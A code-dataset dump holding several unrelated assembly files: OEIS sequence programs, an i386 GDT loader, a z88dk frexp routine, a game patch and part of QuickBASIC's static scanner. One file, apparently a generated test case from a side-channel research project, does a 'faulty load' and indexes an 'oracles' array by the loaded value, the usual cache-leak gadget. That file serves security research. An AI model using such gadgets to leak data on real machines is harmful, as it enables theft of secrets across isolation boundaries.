hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
47d347b43e01893eab963e04e148b278d8319a61 | 54 | asm | Assembly | data/mcp/asm/prog_07_01.asm | colinw7/CZ80 | 458e83ffdca23dcfc92e78de9b802219a85f059a | [
"MIT"
] | null | null | null | data/mcp/asm/prog_07_01.asm | colinw7/CZ80 | 458e83ffdca23dcfc92e78de9b802219a85f059a | [
"MIT"
] | null | null | null | data/mcp/asm/prog_07_01.asm | colinw7/CZ80 | 458e83ffdca23dcfc92e78de9b802219a85f059a | [
"MIT"
] | null | null | null | 0D00 97
0D01 06 13
0D03 0E 27
0D05 80
0D06 81
0D07 76
| 7.714286 | 10 | 0.740741 |
2f65b9172374f08b9b37d01d2383e7ff4edbfa1e | 864 | asm | Assembly | kernel/arch/i386/gdt.asm | lochnessdragon/exokernel | 829e11e7c6502071691088e8585a54dfe812d1ed | [
"MIT"
] | 1 | 2022-02-16T07:45:43.000Z | 2022-02-16T07:45:43.000Z | kernel/arch/i386/gdt.asm | lochnessdragon/exokernel | 829e11e7c6502071691088e8585a54dfe812d1ed | [
"MIT"
] | null | null | null | kernel/arch/i386/gdt.asm | lochnessdragon/exokernel | 829e11e7c6502071691088e8585a54dfe812d1ed | [
"MIT"
] | null | null | null | bits 32
global load_gdtr
global load_data_segs
global load_code_seg
; load_gdtr - installs our global descriptor table.
;
; stack: [esp + 4] the gdtr value
; [esp ] the return code
;
load_gdtr:
lgdt [esp + 4] ; load the gdt with our gdt ptr
ret
; load_data_segs - sets the data segments to the right offset
;
; stack: [esp + 4] the offset value
; [esp ] the reture code
load_data_segs:
; c calling convention
push ebp
mov ebp, esp
mov eax, [ebp + 8] ; now the offset value is at the stack pointer + 8 bc we just pushed ax
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
mov esp, ebp
pop ebp
ret
; farjumps to fix the code segment to the correct value.
; stack:
; [esp ] the return value
load_code_seg:
jmp 0x8:load_code_seg_ret
load_code_seg_ret:
ret | 19.636364 | 94 | 0.642361 |
8fb4fb2d209e6f2c56b2267bf6fdae4a583f5702 | 219 | asm | Assembly | oeis/211/A211372.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/211/A211372.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/211/A211372.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A211372: Side length of smallest square containing n L's with short sides 1, 2, ..., n.
; Submitted by Jamie Morken(s2.)
; 2,4,7,11,14,18,22,26,31,36
mov $1,9
add $1,$0
pow $1,2
mul $1,5
div $1,36
mov $0,$1
sub $0,9
| 18.25 | 89 | 0.639269 |
28d510d9c2d230b3e5e4117d2bde9573d074f964 | 7,644 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2609.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2609.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2609.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xc63c, %rsi
nop
cmp %r14, %r14
mov (%rsi), %ebx
nop
nop
sub $24786, %rax
lea addresses_normal_ht+0x12e5c, %rsi
lea addresses_WT_ht+0x1ec1c, %rdi
nop
dec %rax
mov $87, %rcx
rep movsl
nop
sub $26054, %rcx
lea addresses_A_ht+0x1dbbc, %r14
nop
nop
nop
nop
add $29706, %r8
mov $0x6162636465666768, %rbx
movq %rbx, %xmm3
and $0xffffffffffffffc0, %r14
movntdq %xmm3, (%r14)
nop
and %rax, %rax
lea addresses_A_ht+0x1214c, %rsi
lea addresses_D_ht+0x343c, %rdi
nop
nop
nop
nop
inc %r8
mov $99, %rcx
rep movsl
nop
nop
nop
nop
nop
and $6065, %rsi
lea addresses_WC_ht+0xb77c, %rsi
xor %r14, %r14
vmovups (%rsi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdi
xor %rdi, %rdi
lea addresses_A_ht+0x4bad, %rax
nop
nop
nop
nop
sub $45756, %rdi
mov $0x6162636465666768, %r8
movq %r8, (%rax)
nop
nop
nop
nop
cmp $58996, %rbx
lea addresses_A_ht+0x768c, %rdi
nop
sub %rax, %rax
movups (%rdi), %xmm1
vpextrq $0, %xmm1, %r14
nop
nop
dec %rbx
lea addresses_normal_ht+0x153bc, %r14
nop
dec %rsi
mov (%r14), %r8d
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0x1e3bc, %rsi
nop
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %r8
movq %r8, %xmm3
and $0xffffffffffffffc0, %rsi
movaps %xmm3, (%rsi)
nop
nop
inc %rbx
lea addresses_UC_ht+0x10160, %rsi
lea addresses_WT_ht+0x165fc, %rdi
nop
nop
nop
nop
nop
add $47809, %r14
mov $46, %rcx
rep movsb
nop
nop
nop
nop
nop
dec %r14
lea addresses_D_ht+0x11ff0, %rax
nop
nop
add $25207, %rdi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm7
movups %xmm7, (%rax)
nop
nop
cmp %rbx, %rbx
lea addresses_WC_ht+0x8d5a, %rcx
nop
nop
nop
xor $15543, %rsi
mov $0x6162636465666768, %r14
movq %r14, %xmm5
movups %xmm5, (%rcx)
nop
nop
nop
nop
nop
xor $19675, %rcx
lea addresses_WT_ht+0x1a9ac, %rsi
lea addresses_UC_ht+0x6f5c, %rdi
sub $28347, %r14
mov $44, %rcx
rep movsl
nop
nop
nop
sub $44889, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
// Load
lea addresses_UC+0x1b5bc, %rdx
nop
nop
nop
nop
nop
xor $13278, %rax
mov (%rdx), %r13
nop
cmp $27479, %r15
// Faulty Load
lea addresses_D+0x3bbc, %rdx
nop
nop
nop
dec %rcx
mov (%rdx), %r15d
lea oracles, %r13
and $0xff, %r15
shlq $12, %r15
mov (%r13,%r15,1), %r15
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 33.973333 | 2,999 | 0.659602 |
effaa15a8f838cc6d6b0a16de35ee4d56469bb14 | 1,300 | asm | Assembly | programs/oeis/014/A014798.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/014/A014798.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/014/A014798.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A014798: Squares of even square pyramidal numbers.
; 196,900,19600,41616,256036,422500,1537600,2238016,6100900,8236900,18696976,24010000,48024900,59505796,108493056,130873600,222308100,262634436,421891600,490179600,752624356,862596900,1275918400,1445824576,2072616676,2326132900,3246720400,3613933456,4929444100,5447916100,7283598336,7999513600,10508300100,11477693956,14844010896,16134080400,20577902500,22268399076,28049550400,30234254400,37656954916,40445232100,49862890000,53381329936,65201579716,69595716100,84285702400,89721815296,107813722500,114480722500,136577550096,144688944400,171470528100,181266468516,213495747136,225245160000,263774688100,277777486116,323556192400,340145568400,394225759876,413770562500,477315174400,500222365696,574512457156,601229652100,687672147600,718690235536,818825912100,854681760100,970193480256,1011472718400,1144193908900,1191533797476,1343457173776,1397549552400,1570836088900,1632430407556,1829418553600,1899324985600,2122540127236,2201632764100,2453796931600,2543017059856,2827058880996,2927418340900,3246483240000,3359067866176,3716528508900,3842501652900,4241968636816,4382574771600,4827907562500,4984475968836,5479794082816,5653742617600,6203437048900,6396275995396,7005020890000,7218356890000
seq $0,15222 ; Even square pyramidal numbers.
pow $0,2
| 216.666667 | 1,190 | 0.900769 |
cd72bdfe1d42e5f8b9f8a8f6c6a9dc8fa2739646 | 538 | asm | Assembly | src/no_window_frame.asm | mvdhout1992/ts-patches | a426970abeb6993eea6703d1a756fd74489ffed2 | [
"MIT"
] | 33 | 2016-07-30T14:17:28.000Z | 2021-12-19T15:45:19.000Z | src/no_window_frame.asm | A-Productions/ts-patches | 326db731f7226d9e803feab475777c730688634e | [
"MIT"
] | 73 | 2018-08-17T00:25:19.000Z | 2021-05-10T08:31:15.000Z | src/no_window_frame.asm | A-Productions/ts-patches | 326db731f7226d9e803feab475777c730688634e | [
"MIT"
] | 18 | 2017-05-16T11:28:06.000Z | 2022-03-20T20:41:03.000Z | %include "macros/patch.inc"
%include "macros/datatypes.inc"
%include "TiberianSun.inc"
gbool NoWindowFrame, 1
hack 0x00686210
SetNoWindowFrame:
pusha
cmp byte [NoWindowFrame], 1
je .Frameless
push 1 ; Height
call [_imp__GetSystemMetrics]
cmp eax, dword[ScreenHeight]
jne .out
push 0
call [_imp__GetSystemMetrics]
cmp eax, dword[ScreenWidth]
jne .out
.Frameless:
popa
push 0x860A0000
jmp hackend
.out:
popa
push 0x02CA0000
jmp hackend
| 16.8125 | 40 | 0.643123 |
dabb5939e6f8b0915632fc1a92bb70a59bbe7d4c | 390 | asm | Assembly | programs/oeis/215/A215531.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/215/A215531.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/215/A215531.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A215531: The limit of the string "0, 1" under the operation 'append first k terms, k=k+2' with k=1 initially.
; 0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,1,0
lpb $0
sub $0,2
mov $2,1
lpb $0
sub $2,2
add $0,$2
lpe
lpe
| 32.5 | 201 | 0.548718 |
183c57eec21eecf23b47f82c86dfc6bee8ff0623 | 1,121 | asm | Assembly | programs/oeis/263/A263536.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/263/A263536.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/263/A263536.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A263536: Row sum of an equilateral triangle tiled with the 3,4,5 Pythagorean triple.
; 5,7,12,17,19,24,29,31,36,41,43,48,53,55,60,65,67,72,77,79,84,89,91,96,101,103,108,113,115,120,125,127,132,137,139,144,149,151,156,161,163,168,173,175,180,185,187,192,197,199,204,209,211,216,221,223,228,233,235,240,245,247,252,257,259,264,269,271,276,281,283,288,293,295,300,305,307,312,317,319,324,329,331,336,341,343,348,353,355,360,365,367,372,377,379,384,389,391,396,401,403,408,413,415,420,425,427,432,437,439,444,449,451,456,461,463,468,473,475,480,485,487,492,497,499,504,509,511,516,521,523,528,533,535,540,545,547,552,557,559,564,569,571,576,581,583,588,593,595,600,605,607,612,617,619,624,629,631,636,641,643,648,653,655,660,665,667,672,677,679,684,689,691,696,701,703,708,713,715,720,725,727,732,737,739,744,749,751,756,761,763,768,773,775,780,785,787,792,797,799,804,809,811,816,821,823,828,833,835,840,845,847,852,857,859,864,869,871,876,881,883,888,893,895,900,905,907,912,917,919,924,929,931,936,941,943,948,953,955,960,965,967,972,977,979,984,989,991,996,1001
mov $1,$0
add $0,8
mod $0,3
mul $1,4
add $1,$0
add $1,3
| 112.1 | 976 | 0.734166 |
c2bf0cd8a1222be53a2e0e713ed8d5a5c32321ca | 902 | asm | Assembly | libsrc/math/z88math/c/sccz80/frexp.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/math/z88math/c/sccz80/frexp.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/math/z88math/c/sccz80/frexp.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp
PUBLIC frexp
EXTERN fa
EXTERN dload
EXTERN mbbc_ensure_float
IF FORz88
INCLUDE "target/z88/def/fpp.def"
ELSE
INCLUDE "fpp.def"
ENDIF
; float frexpf (float x, int8_t *pw2);
frexp:
ld hl,4
add hl,sp
call dload
pop bc ;Ret
pop de ;pw2
push de
push bc
ld hl,fa+5
ld a,(hl)
and a
call z,convert_to_float
ld (hl),0
jr z,zero
sub $7f
ld (hl),$7f
zero:
ld (de),a
rlca
sbc a
inc de
ld (de),a
ret
convert_to_float:
ld c,0
ld hl,(fa+1)
exx
ld hl,(fa+3)
IF FORz88
fpp(FP_FLT)
ELSE
ld a,FP_FLT
call FPP
ENDIF
ld a,c
ld (fa+5),a
ld (fa+3),hl
exx
ld (fa+1),hl
and a
ret
| 15.288136 | 49 | 0.449002 |
65449efb7fac73155b322334578e0e11929f86f5 | 25,106 | asm | Assembly | 45/qb/ir/ssscan.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/qb/ir/ssscan.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/qb/ir/ssscan.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | TITLE SSSCAN - Main Static Scanner Module
;***
;ssscan - Main static scanner module
;
; Copyright <C> 1986, Microsoft Corporation
;
;Purpose:
;
; This is the main static scanner module. It contains all external
; interfaces to the module. These interfaces are:
; ssscan - scans the current text table to executor mode.
; SsDescan(toState) - descans current text table to the state specified
; this state may be SS_PARSE or SS_RUDE.
;
;
;****************************************************************************
.xlist
include version.inc
SSSCAN_ASM = ON
IncludeOnce context
IncludeOnce executor
IncludeOnce opmin
IncludeOnce opstmt
IncludeOnce optables
IncludeOnce pcode
IncludeOnce qbimsgs
IncludeOnce rtinterp
IncludeOnce ssint
IncludeOnce txtmgr
IncludeOnce variable
.list
assumes ds, DATA
assumes es, NOTHING
assumes SS, DATA
extrn B$IFindEvHandler:far
extrn exBolLab:far
extrn DimImplicit:far
sBegin DATA
EmitErrOtx dw 0
sEnd DATA
sBegin SCAN
assumes cs,SCAN
;*************************************************************************
;UpdateTxdBdl - Update the TXD or BDL for text table
;
; Purpose:
;
; Update the txdCur (or the direct mode bdl) for this text table.
;
; Entry:
;
; al = scanState
; di = cbLogicalNew oTx of opEOT + 2
;
; The structure txdCur identifies the current text table.
; If grs.fDirect is TRUE, the direct mode text table (grs.bdlDirect)
; is used instead.
;
; Preserves:
;
; All
;
;*************************************************************************
UpdateTxdBdl:
cmp grs.GRS_fDirect,FALSE
jne DirectMode ;branch if in direct mode
mov txdCur.TXD_bdlText_cbLogical,di
mov txdCur.TXD_scanState,al
ret
DirectMode:
mov [grs.GRS_bdlDirect_cbLogical],di
ret
;***
; TxLnkInit
; Entry:
; bx points to table to use for SsLinkCtl
; Exit:
; ax = 0 (callers assume this)
; preserves: bx,dx (callers assume this)
;
;********************************************************
TxLnkInit PROC NEAR
push es
push di
mov SsLinkCtl,bx ;Save for scan dispatch routines
push ds
pop es
mov di,bx
mov cx,(size TXLNK)/2 ;Count of bytes in structure
xor ax,ax ;Get a zero
rep stosw ;Initialize link controls to zero
pop di
pop es
ret
TxLnkInit ENDP
;***
;ushort SsScan - Scan pcode from SS_PARSE to SS_EXECUTE
;
;Purpose:
;
; In the case of an error, the pcode is left entirely
; in the state in which the pcode was found. An error
; code is always returned.
;
; This procedure causes memory allocations in the
; interpreter and far heaps.
;
; Certain scan routines push identified frames on the stack.
; These frames must be uniquely identifiable, as other scan
; routines must check to see if they exist. At scan initialization,
; an end-of-frame identifier is pushed on the stack, ensuring
; that the bottom of the stack is not misinterpreted as some
; particular scan stack entry.
;
; NOTE: If grs.GRS_fDirect is TRUE on entry, txdCur should be
; ignored, and we should assume that the text table (whose
; segment is obtained via TxtSegCur) is in SS_RUDE, and
; must be scanned to SS_EXECUTE. Note also that the information
; in txdCur should be unchanged on return in this case.
;
;Algorithm:
;
; Determine whether current text table is in SS_EXECUTE already
; return if so
; Grow the text table
; If cbScanned = 0 then guess that cbScanned = 1.3 * cbText
; Attempt to grow the text table by cbScanned
; error if NO growth possible
; Move text up to end
; relink all links
; Set up for main scan loop
; install return address
; set up es, si, di
; push an end-of-stack frame identifier
; Loop to completion
; pop end-of-stack frame identifier
; Return
;
;Entry:
;
; grs.GRS_fDirect Current context information
; rs mrsCur Current context information
; ushort oPrsCur Offset of current procedure.
; UNDEFINED = module
; prs prsCur Procedure context if
; oPrsCur != UNDEFINED
;
;Exit:
;
; ax = 0 if no error occurred
; or
; error code
; SsScan Standard BASIC error code
; grs.context Pcode address of the error
; or
; unmodified
;Exceptions:
;
; None
;
;********************************************************
cProc SsScan,<FAR,PUBLIC>,<si,di>
localV txLinks,<SIZE TXLNK>
ScanXj: jmp ScanX
cBegin SsScan
DbMessTimer SCAN,<Enter SsScan - >
;Assume not direct mode
mov cx,txdCur.TXD_bdlText_cbLogical ;Bytes of text
cmp grs.GRS_fDirect,FALSE ;Direct mode?
jz GetTXDInfoX ;Program mode
xor cx,cx
GetTXDInfoX:
;Grow the text, ensuring a gap between emit and source
shr cx,1
shr cx,1
shr cx,1 ;Gap should equal 1/8 source size.
GETSEGTXTCUR ;es = the text segment
xor ax,ax
mov SsCbTxExpand,ax ;Initialize bytes of text expansion
mov [ScannerFlags],ax
SetStartOtx si ;oTxSrc
mov di,si ;oTxEmit
DbChkTxdCur ;perform sanity check on txdCur
call SsMakeGap ;Ensure enough gap to scan (cx=gap)
mov ax,ER_OM ;Indicate out of memory
jc ScanXj ;Out of memory - can't scan
lea bx,txLinks ;Address of link controls
call TxLnkInit ;init txLinks structure to 0
;ax = 0
;preserves: bx,ax,dx, uses: cx,es
mov dx,txdCur.TXD_otxLabLink;Label link head pointer
mov [bx].TXLNK_LabDefNext,dx;offset of next label definition
;LabDefLast left at zero
cmp grs.GRS_fDirect,FALSE ;Direct mode?
jnz InitLinks ;If direct mode, don't worry about CONT
or [txdCur].TXD_otxLabLink,1 ;Set LSB to indicate unbound
mov bx,dataOFFSET prsCur.PRS_cbFrameTemp ;Assume PRS
test byte ptr [grs.GRS_oRsCur+1],80H ;MRS?
jnz @F ;No
and [mrsCur].MRS_flags,not FM_OptionBase1 ;Set option base 0
mov bx,dataOFFSET mrsCur.MRS_cbFrameTemp
mov [mrsCur.MRS_data_otxFirst],UNDEFINED ;Init head of DATA list
@@:
xchg ax,[bx] ;Zero cbFrameTemp if not direct mode
push ax ;Save old cbFrameTemp
mov bx,[grs.GRS_otxCONT] ;Get CONT otx
inc bx
jz InitLinks ;Can't continue, don't swap pcode
mov cx,[grs.GRS_oRsCONT] ;Get CONT oRS
call GetOtxRS ;Make sure oRS in cx isn't for DefFn
cmp cx,[grs.GRS_oRsCur] ;Is it the one we're scanning?
jnz InitLinks
mov ax,opNoList0
xchg ax,PTRTX[bx-1+si-StartOtx] ; Replace CONT pcode with special
mov [SsErrOpcode],ax ;Save original pcode
InitLinks:
xor ax,ax ;AX = 0
mov f_Static,TRUE ;Set $STATIC in effect flag
;Initialize oTypCur and oValCur fields in COMMON to zero
mov bx,[grs.GRS_bdtComBlk.BD_pb]
mov cx,ax
ZeroCom:
cmp cx,[grs.GRS_bdtComBlk.BD_cbLogical] ;Within size of block?
jae @F
mov [bx].COM_oTypCur,ax ;Zero oTypCur
mov [bx].COM_oValCur,ax
add bx,size COM
add cx,size COM
jmp ZeroCom
@@:
mov ssStackSave,sp ;Preserve the sp from start of scan loop
.errnz STYP_StackEnd ;Stack base indicator used to determine
